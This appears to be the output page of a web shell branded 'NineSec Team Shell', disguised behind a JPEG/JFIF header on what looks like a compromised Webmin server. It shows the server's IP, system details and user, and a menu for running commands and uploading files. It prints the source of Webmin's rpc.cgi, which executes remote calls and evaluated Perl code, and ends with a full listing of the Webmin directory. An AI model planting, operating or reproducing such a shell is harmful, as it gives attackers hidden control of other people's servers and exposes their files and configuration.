�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /media/../usr/share/javascript/../menu/../python-apt/../php/../java/../rsync/../webmin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../usr/share/javascript/../menu/../python-apt/../php/../java/../rsync/../webmin/rpc.cgi
#!/usr/bin/perl
# rpc.cgi
# Handles remote_foreign_require and remote_foreign_call requests from
# other webmin servers. State is preserved by starting a process for each
# session that listens for requests on a named pipe (and dies after a few
# seconds of inactivity)
# access{'rpc'}  0=not allowed 1=allowed 2=allowed if root or admin

BEGIN { push(@INC, "."); };
use WebminCore;
use POSIX;

&init_config();
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
	local $got;
	local $left = $ENV{'CONTENT_LENGTH'} - length($rawarg);
	while($left > 0) {
		read(STDIN, $got, $left) > 0 || last;
		$rawarg .= $got;
		$left = $ENV{'CONTENT_LENGTH'} - length($rawarg);
		}
	}
else {
	$rawarg = $ENV{'QUERY_STRING'};
	}
$| = 1;
print "Content-type: text/plain\n\n";

# Can this user make remote calls?
if (!&webmin_user_can_rpc()) {
	print &serialise_variable( { 'status' => 0 } );
	exit;
	}
$arg = &unserialise_variable($rawarg);

if ($arg->{'newsession'}) {
	# Need to fork a new session-handler process
	$fifo1 = &tempname();
	$fifo2 = &tempname();
	mkfifo($fifo1, 0700);
	mkfifo($fifo2, 0700);
	if (!fork()) {
		# This is the subprocess where execution really happens
		$SIG{'ALRM'} = "fifo_timeout";
		untie(*STDIN);
		untie(*STDOUT);
		close(STDIN);
		close(STDOUT);
		close(miniserv::SOCK);
		local $stime = time();
		local $rcount = 0;
		while(1) {
			local ($rawcmd, $cmd, @rv);
			alarm($rcount ? 360 : 60);
			open(FIFO, "<$fifo1") || last;
			while(<FIFO>) {
				$rawcmd .= $_;
				}
			close(FIFO);
			alarm(0);
			$cmd = &unserialise_variable($rawcmd);
			if ($cmd->{'action'} eq 'quit') {
				# time to end this session (after the reply)
				@rv = ( { 'time' => time() - $stime } );
				}
			elsif ($cmd->{'action'} eq 'require') {
				# require a library
				&foreign_require($cmd->{'module'},
						 $cmd->{'file'});
				@rv = ( { 'session' => [ $fifo1, $fifo2 ] } );
				}
			elsif ($cmd->{'action'} eq 'call') {
				# execute a function
				@rv = &foreign_call($cmd->{'module'},
						    $cmd->{'func'},
						    @{$cmd->{'args'}});
				}
			elsif ($cmd->{'action'} eq 'eval') {
				# eval some perl code
				if ($cmd->{'module'}) {
					@rv = eval <<EOF;
package $cmd->{'module'};
$cmd->{'code'}
EOF
					}
				else {
					@rv = eval $cmd->{'code'};
					}
				}
			open(FIFO, ">$fifo2");
			if (@rv == 1) {
				print FIFO &serialise_variable(
					{ 'status' => 1, 'rv' => $rv[0] } );
				}
			else {
				print FIFO &serialise_variable(
					{ 'status' => 1, 'arv' => \@rv } );
				}
			close(FIFO);
			last if ($cmd->{'action'} eq 'quit');
			$rcount++;
			}
		unlink($fifo1);
		unlink($fifo2);
		exit;
		}
	$session = [ $fifo1, $fifo2 ];
	}
else {
	# Use the provided session id
	$session = $arg->{'session'};
	}

if ($arg->{'action'} eq 'ping') {
	# Just respond with an OK
	print &serialise_variable( { 'status' => 1 } );
	}
elsif ($arg->{'action'} eq 'check') {
	# Check if some module is supported
	print &serialise_variable(
		{ 'status' => 1,
		  'rv' => &foreign_check($arg->{'module'}, undef, undef,
					 $arg->{'api'}) } );
	}
elsif ($arg->{'action'} eq 'config') {
	# Get the config for some module
	local %config = &foreign_config($arg->{'module'});
	print &serialise_variable(
		{ 'status' => 1, 'rv' => \%config } );
	}
elsif ($arg->{'action'} eq 'write') {
	# Transfer data to a local temp file
	local $file = $arg->{'file'} ? $arg->{'file'} :
		      $arg->{'name'} ? &tempname($arg->{'name'}) :
				       &tempname();
	open(FILE, ">$file");
	print FILE $arg->{'data'};
	close(FILE);
	print &serialise_variable(
		{ 'status' => 1, 'rv' => $file } );
	}
elsif ($arg->{'action'} eq 'read') {
	# Transfer data from a file
	local ($data, $got);
	open(FILE, "<$arg->{'file'}");
	while(read(FILE, $got, 1024) > 0) {
		$data .= $got;
		}
	close(FILE);
	print &serialise_variable(
		{ 'status' => 1, 'rv' => $data } );
	}
else {
	# Pass the request on to the subprocess
	open(FIFO, ">$session->[0]");
	print FIFO $rawarg;
	close(FIFO);
	open(FIFO, "<$session->[1]");
	while(<FIFO>) {
		print;
		}
	close(FIFO);
	}

sub fifo_timeout
{
unlink($fifo1);
unlink($fifo2);
exit;
}


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
acl
--
December 13 2023 9:43:47
root
0755
adsl-client
--
December 13 2023 9:43:47
root
0755
apache
--
December 13 2023 9:43:47
root
0755
at
--
December 13 2023 9:43:47
root
0755
authentic-theme
--
December 13 2023 9:45:33
root
0755
backup-config
--
December 13 2023 9:43:47
root
0755
bacula-backup
--
December 13 2023 9:43:47
root
0755
bandwidth
--
December 13 2023 9:43:47
root
0755
bin
--
December 13 2023 9:43:47
root
0755
bind8
--
December 13 2023 9:43:47
root
0755
blue-theme
--
December 13 2023 9:43:47
root
0755
change-user
--
December 13 2023 9:43:47
root
0755
cluster-copy
--
December 13 2023 9:43:47
root
0755
cluster-cron
--
December 13 2023 9:43:47
root
0755
cluster-passwd
--
December 13 2023 9:43:47
root
0755
cluster-shell
--
December 13 2023 9:43:47
root
0755
cluster-software
--
December 13 2023 9:43:47
root
0755
cluster-useradmin
--
December 13 2023 9:43:47
root
0755
cluster-usermin
--
December 13 2023 9:43:47
root
0755
cluster-webmin
--
December 13 2023 9:43:47
root
0755
cpan
--
December 13 2023 9:43:47
root
0755
cron
--
December 13 2023 9:43:47
root
0755
custom
--
December 13 2023 9:43:47
root
0755
dfsadmin
--
December 13 2023 9:43:47
root
0755
dhcpd
--
December 13 2023 9:43:47
root
0755
dovecot
--
December 13 2023 9:43:47
root
0755
exim
--
December 13 2023 9:43:47
root
0755
exports
--
December 13 2023 9:43:47
root
0755
fail2ban
--
December 13 2023 9:43:47
root
0755
fdisk
--
December 13 2023 9:43:47
root
0755
fetchmail
--
December 13 2023 9:43:47
root
0755
filemin
--
December 13 2023 9:43:47
root
0755
filter
--
December 13 2023 9:43:47
root
0755
firewall
--
December 13 2023 9:43:47
root
0755
firewall6
--
December 13 2023 9:43:47
root
0755
firewalld
--
December 13 2023 9:43:47
root
0755
fsdump
--
December 13 2023 9:43:47
root
0755
gray-theme
--
December 13 2023 9:43:47
root
0755
heartbeat
--
December 13 2023 9:43:47
root
0755
htaccess-htpasswd
--
December 13 2023 9:43:47
root
0755
idmapd
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
inetd
--
December 13 2023 9:43:47
root
0755
init
--
December 13 2023 9:43:47
root
0755
inittab
--
December 13 2023 9:43:47
root
0755
ipfilter
--
December 13 2023 9:43:47
root
0755
ipfw
--
December 13 2023 9:43:47
root
0755
ipsec
--
December 13 2023 9:43:47
root
0755
iscsi-client
--
December 13 2023 9:43:47
root
0755
iscsi-server
--
December 13 2023 9:43:47
root
0755
iscsi-target
--
December 13 2023 9:43:47
root
0755
iscsi-tgtd
--
December 13 2023 9:43:47
root
0755
jailkit
--
October 23 2023 6:29:17
root
0755
krb5
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
ldap-client
--
December 13 2023 9:43:47
root
0755
ldap-server
--
December 13 2023 9:43:47
root
0755
ldap-useradmin
--
December 13 2023 9:43:47
root
0755
logrotate
--
December 13 2023 9:43:47
root
0755
logviewer
--
December 13 2023 9:43:47
root
0755
lpadmin
--
December 13 2023 9:43:47
root
0755
lvm
--
December 13 2023 9:43:47
root
0755
mailboxes
--
December 13 2023 9:43:47
root
0755
mailcap
--
December 13 2023 9:43:47
root
0755
man
--
December 13 2023 9:43:47
root
0755
mount
--
December 13 2023 9:43:47
root
0755
mysql
--
December 13 2023 9:43:47
root
0755
net
--
December 13 2023 9:43:47
root
0755
nis
--
December 13 2023 9:43:47
root
0755
openslp
--
December 13 2023 9:43:47
root
0755
package-updates
--
December 13 2023 9:43:47
root
0755
pam
--
December 13 2023 9:43:47
root
0755
pap
--
December 13 2023 9:43:47
root
0755
passwd
--
December 13 2023 9:43:47
root
0755
php-pear
--
March 29 2022 10:50:27
root
0755
phpini
--
December 13 2023 9:43:47
root
0755
postfix
--
December 13 2023 9:43:47
root
0755
postgresql
--
December 13 2023 9:43:47
root
0755
ppp-client
--
December 13 2023 9:43:47
root
0755
pptp-client
--
December 13 2023 9:43:47
root
0755
pptp-server
--
December 13 2023 9:43:47
root
0755
proc
--
December 13 2023 9:43:47
root
0755
procmail
--
December 13 2023 9:43:47
root
0755
proftpd
--
December 13 2023 9:43:47
root
0755
qmailadmin
--
December 13 2023 9:43:47
root
0755
quota
--
December 13 2023 9:43:47
root
0755
raid
--
December 13 2023 9:43:47
root
0755
ruby-gems
--
March 29 2022 10:50:27
root
0755
samba
--
December 13 2023 9:43:47
root
0755
sarg
--
December 13 2023 9:43:47
root
0755
sendmail
--
December 13 2023 9:43:47
root
0755
servers
--
December 13 2023 9:43:47
root
0755
shell
--
December 13 2023 9:43:47
root
0755
shorewall
--
December 13 2023 9:43:47
root
0755
shorewall6
--
December 13 2023 9:43:47
root
0755
smart-status
--
December 13 2023 9:43:47
root
0755
smf
--
December 13 2023 9:43:47
root
0755
software
--
December 13 2023 9:43:47
root
0755
spam
--
December 13 2023 9:43:47
root
0755
squid
--
December 13 2023 9:43:47
root
0755
sshd
--
December 13 2023 9:43:47
root
0755
status
--
December 13 2023 9:43:47
root
0755
stunnel
--
December 13 2023 9:43:47
root
0755
syslog
--
December 13 2023 9:43:47
root
0755
syslog-ng
--
December 13 2023 9:43:47
root
0755
system-status
--
December 13 2023 9:43:47
root
0755
tcpwrappers
--
December 13 2023 9:43:47
root
0755
time
--
December 13 2023 9:43:47
root
0755
tunnel
--
December 13 2023 9:43:47
root
0755
unauthenticated
--
December 13 2023 9:43:47
root
0755
updown
--
December 13 2023 9:43:47
root
0755
useradmin
--
December 13 2023 9:43:47
root
0755
usermin
--
December 13 2023 9:43:47
root
0755
vendor_perl
--
December 13 2023 9:43:47
root
0755
virtual-server
--
February 12 2024 9:07:27
root
0755
virtualmin-awstats
--
February 14 2023 5:45:14
root
0755
virtualmin-dav
--
March 29 2022 10:50:44
root
0755
virtualmin-git
--
March 29 2022 10:50:44
root
0755
virtualmin-htpasswd
--
October 23 2023 6:29:20
root
0755
virtualmin-init
--
March 29 2022 10:50:45
root
0755
virtualmin-registrar
--
March 29 2022 10:50:46
root
0755
virtualmin-slavedns
--
March 29 2022 10:50:47
root
0755
virtualmin-sqlite
--
March 29 2022 10:50:47
root
0755
webalizer
--
December 13 2023 9:43:47
root
0755
webmin
--
December 13 2023 9:43:47
root
0755
webmincron
--
December 13 2023 9:43:47
root
0755
webminlog
--
December 13 2023 9:43:47
root
0755
xinetd
--
December 13 2023 9:43:47
root
0755
xterm
--
December 13 2023 9:43:47
root
0755
LICENCE
1.48 KB
November 08 2023 4:49:09
root
0644
LICENCE.ja
1.615 KB
November 08 2023 4:49:09
root
0644
README.md
4.254 KB
November 08 2023 4:49:09
root
0644
WebminCore.pm
8.115 KB
November 08 2023 4:49:09
root
0644
acl_security.pl
4.514 KB
November 08 2023 4:49:09
root
0755
changepass.pl
0.848 KB
November 08 2023 4:49:49
root
0755
chooser.cgi
7.214 KB
November 08 2023 4:49:48
root
0755
config-aix
0.222 KB
November 08 2023 4:49:09
root
0644
config-cobalt-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-coherent-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-corel-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-debian-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-freebsd
0.25 KB
November 08 2023 4:49:09
root
0644
config-generic-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-gentoo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-hpux
0.237 KB
November 08 2023 4:49:09
root
0644
config-irix
0.277 KB
November 08 2023 4:49:09
root
0644
config-lib.pl
10.818 KB
November 08 2023 4:49:09
root
0755
config-macos
0.254 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux
0.271 KB
November 08 2023 4:49:09
root
0644
config-msc-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-netbsd
0.276 KB
November 08 2023 4:49:09
root
0644
config-open-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openbsd
0.235 KB
November 08 2023 4:49:09
root
0644
config-openmamba-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openserver
0.23 KB
November 08 2023 4:49:09
root
0644
config-osf1
0.26 KB
November 08 2023 4:49:09
root
0644
config-pardus-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux
0.273 KB
November 08 2023 4:49:09
root
0644
config-sol-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-solaris
0.407 KB
November 08 2023 4:49:09
root
0644
config-suse-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-syno-linux
0.355 KB
November 08 2023 4:49:09
root
0644
config-trustix-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-turbo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-united-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-unixware
0.279 KB
November 08 2023 4:49:09
root
0644
config-windows
0.086 KB
November 08 2023 4:49:09
root
0644
config.cgi
1.551 KB
November 08 2023 4:49:48
root
0755
config_save.cgi
1.636 KB
November 08 2023 4:49:48
root
0755
copyconfig.pl
4.332 KB
November 08 2023 4:49:49
root
0755
create-module.pl
3.95 KB
November 08 2023 4:49:49
root
0755
date_chooser.cgi
2.188 KB
November 08 2023 4:49:48
root
0755
deb-name
0.007 KB
November 08 2023 4:49:49
root
0644
defaultacl
0.096 KB
November 08 2023 4:49:09
root
0644
defaulttheme
0.016 KB
November 08 2023 4:49:09
root
0644
entities_map.txt
1.466 KB
November 08 2023 4:49:09
root
0644
fastrpc.cgi
10.184 KB
November 08 2023 4:49:48
root
0755
favicon.ico
14.732 KB
November 08 2023 4:49:09
root
0644
feedback.cgi
6.366 KB
November 08 2023 4:49:48
root
0755
feedback_form.cgi
3.45 KB
November 08 2023 4:49:48
root
0755
group_chooser.cgi
7.51 KB
November 08 2023 4:49:48
root
0755
help.cgi
2.114 KB
November 08 2023 4:49:48
root
0755
html-editor-lib.pl
17.434 KB
November 08 2023 4:49:09
root
0644
index.cgi
5.61 KB
November 08 2023 4:49:49
root
0755
install-module.pl
1.538 KB
November 08 2023 4:49:49
root
0755
install-type
0.004 KB
November 08 2023 4:49:49
root
0644
javascript-lib.pl
14.689 KB
November 08 2023 4:49:09
root
0755
lang_list.txt
3.405 KB
November 08 2023 4:49:09
root
0644
maketemp.pl
0.414 KB
November 08 2023 4:49:09
root
0755
mime.types
12.418 KB
November 08 2023 4:49:09
root
0644
miniserv.pem
2.899 KB
November 08 2023 4:49:09
root
0644
miniserv.pl
181.17 KB
November 08 2023 4:49:49
root
0755
module_chooser.cgi
4.14 KB
November 08 2023 4:49:48
root
0755
newmods.pl
1.25 KB
November 08 2023 4:49:09
root
0755
os_list.txt
34.343 KB
November 08 2023 4:49:09
root
0644
oschooser.pl
4.546 KB
November 08 2023 4:49:49
root
0755
pam_login.cgi
2.834 KB
November 08 2023 4:49:48
root
0755
password_change.cgi
7.005 KB
November 08 2023 4:49:49
root
0755
password_form.cgi
1.296 KB
November 08 2023 4:49:48
root
0755
perlpath.pl
0.558 KB
November 08 2023 4:49:49
root
0755
record-failed.pl
0.491 KB
November 08 2023 4:49:49
root
0755
record-login.pl
0.501 KB
November 08 2023 4:49:49
root
0755
record-logout.pl
0.504 KB
November 08 2023 4:49:49
root
0755
robots.txt
0.025 KB
November 08 2023 4:49:09
root
0644
rpc.cgi
3.995 KB
November 08 2023 4:49:49
root
0755
run-postinstalls.pl
1 KB
November 08 2023 4:49:49
root
0755
run-uninstalls.pl
0.98 KB
November 08 2023 4:49:49
root
0755
safeacl
0.043 KB
November 08 2023 4:49:09
root
0644
session_login.cgi
3.546 KB
November 08 2023 4:49:49
root
0755
setup-repos.sh
5.145 KB
November 08 2023 4:49:09
root
0755
setup.bat
3.086 KB
November 08 2023 4:49:09
root
0644
setup.pl
31.846 KB
November 08 2023 4:49:49
root
0755
setup.sh
33.085 KB
November 08 2023 4:49:09
root
0755
switch_skill.cgi
0.286 KB
November 08 2023 4:49:48
root
0755
switch_theme.cgi
1.276 KB
November 08 2023 4:49:49
root
0755
switch_user.cgi
0.395 KB
November 08 2023 4:49:49
root
0755
thirdparty.pl
1.732 KB
November 08 2023 4:49:09
root
0755
ui-lib.pl
97.904 KB
November 08 2023 4:49:09
root
0755
update-from-repo.sh
14.8 KB
November 08 2023 4:49:09
root
0755
uptracker.cgi
2.879 KB
November 08 2023 4:49:48
root
0755
user_chooser.cgi
7.394 KB
November 08 2023 4:49:48
root
0755
version
0.006 KB
November 08 2023 4:49:09
root
0644
web-lib-funcs.pl
371.256 KB
November 08 2023 4:49:09
root
0755
web-lib.pl
1.081 KB
November 08 2023 4:49:09
root
0755
webmin-daemon
0.078 KB
November 08 2023 4:49:09
root
0644
webmin-init
1.932 KB
November 08 2023 4:49:09
root
0755
webmin-pam
0.099 KB
November 08 2023 4:49:09
root
0644
webmin-search-lib.pl
9.454 KB
November 08 2023 4:49:09
root
0755
webmin-systemd
0.432 KB
November 08 2023 4:49:09
root
0644
webmin_search.cgi
2.634 KB
November 08 2023 4:49:48
root
0755
xmlrpc.cgi
7.528 KB
November 08 2023 4:49:48
root
0755

NineSec Team - 2022